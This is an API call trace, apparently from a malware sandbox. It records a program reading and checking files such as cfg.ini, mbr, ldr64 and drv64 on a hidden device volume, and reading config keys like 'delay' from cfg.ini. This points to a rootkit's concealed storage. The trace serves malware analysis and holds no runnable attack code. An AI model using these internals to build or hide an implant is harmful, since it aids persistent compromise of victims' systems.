(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.528] KeLeaveCriticalRegion () [0128.528] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.528] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.528] KeEnterCriticalRegion () [0128.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ba000 [0128.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.528] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.528] IdePortDispatch () returned 0x103 [0128.528] KeWaitForMutexObject () returned 0x0 [0128.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.528] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.528] IdePortDispatch () returned 0x103 [0128.528] KeWaitForMutexObject () returned 0x0 [0128.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.528] KeLeaveCriticalRegion () [0128.528] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.529] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.529] KeEnterCriticalRegion () [0128.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.529] KeLeaveCriticalRegion () [0128.529] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.529] KeEnterCriticalRegion () [0128.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.529] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.529] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.529] KeLeaveCriticalRegion () [0128.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.529] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.529] KeEnterCriticalRegion () [0128.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.529] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.529] KeLeaveCriticalRegion () [0128.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.529] ReleaseMutex (hMutex=0xf0) returned 1 [0128.529] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.529] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.529] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.529] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.529] KeEnterCriticalRegion () [0128.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.530] IdePortDispatch () returned 0x103 [0128.530] KeWaitForMutexObject () returned 0x0 [0128.530] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.530] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.530] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.530] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.530] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.530] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.530] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.530] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.530] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.530] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.530] KeLeaveCriticalRegion () [0128.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.530] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.530] KeEnterCriticalRegion () [0128.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.530] IdePortDispatch () returned 0x103 [0128.530] KeWaitForMutexObject () returned 0x0 [0128.531] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.531] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.531] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.531] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.531] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.531] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.531] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.531] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.531] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.531] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.531] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.531] KeLeaveCriticalRegion () [0128.531] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.531] ReleaseMutex (hMutex=0x100) returned 1 [0128.531] Sleep (dwMilliseconds=0x2bf20) [0128.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fd059d0, dwHighDateTime=0x1d24fa4)) [0128.538] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.538] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.538] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.538] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.538] KeEnterCriticalRegion () [0128.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.538] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.538] IdePortDispatch () returned 0x103 [0128.538] KeWaitForMutexObject () returned 0x0 [0128.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.538] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.539] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.539] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.539] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.539] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe1a0 [0128.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.539] KeLeaveCriticalRegion () [0128.539] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.539] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.539] KeEnterCriticalRegion () [0128.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.539] KeLeaveCriticalRegion () [0128.539] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.539] KeEnterCriticalRegion () [0128.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.539] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.539] IdePortDispatch () returned 0x103 [0128.539] KeWaitForMutexObject () returned 0x0 [0128.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.539] KeLeaveCriticalRegion () [0128.539] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.539] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.539] KeEnterCriticalRegion () [0128.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.539] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bd000 [0128.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.539] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.539] IdePortDispatch () returned 0x103 [0128.540] KeWaitForMutexObject () returned 0x0 [0128.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.540] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.540] IdePortDispatch () returned 0x103 [0128.540] KeWaitForMutexObject () returned 0x0 [0128.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.540] KeLeaveCriticalRegion () [0128.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.540] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.540] KeEnterCriticalRegion () [0128.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.541] KeLeaveCriticalRegion () [0128.541] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.541] KeEnterCriticalRegion () [0128.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.541] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.541] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.541] KeLeaveCriticalRegion () [0128.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.541] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.541] KeEnterCriticalRegion () [0128.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.541] ExFreePoolWithTag (P=0xfffffa8003bfe1a0, Tag=0x0) [0128.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.541] KeLeaveCriticalRegion () [0128.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.541] ReleaseMutex (hMutex=0xf0) returned 1 [0128.541] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.541] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.541] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.541] KeEnterCriticalRegion () [0128.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.541] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.541] IdePortDispatch () returned 0x103 [0128.541] KeWaitForMutexObject () returned 0x0 [0128.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.541] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.541] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.541] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.541] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.541] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.542] KeLeaveCriticalRegion () [0128.542] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.542] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.542] KeEnterCriticalRegion () [0128.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.542] KeLeaveCriticalRegion () [0128.542] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.542] KeEnterCriticalRegion () [0128.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.542] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.542] IdePortDispatch () returned 0x103 [0128.542] KeWaitForMutexObject () returned 0x0 [0128.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.542] KeLeaveCriticalRegion () [0128.542] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.542] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.542] KeEnterCriticalRegion () [0128.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.542] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035be000 [0128.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.542] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.542] IdePortDispatch () returned 0x103 [0128.542] KeWaitForMutexObject () returned 0x0 [0128.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.543] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.543] IdePortDispatch () returned 0x103 [0128.543] KeWaitForMutexObject () returned 0x0 [0128.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.543] KeLeaveCriticalRegion () [0128.543] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.543] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.543] KeEnterCriticalRegion () [0128.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.544] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.544] KeLeaveCriticalRegion () [0128.544] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.544] KeEnterCriticalRegion () [0128.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.544] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.544] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.544] KeLeaveCriticalRegion () [0128.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.544] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.544] KeEnterCriticalRegion () [0128.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.544] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.544] KeLeaveCriticalRegion () [0128.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.544] ReleaseMutex (hMutex=0xf0) returned 1 [0128.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.544] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.544] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.544] KeEnterCriticalRegion () 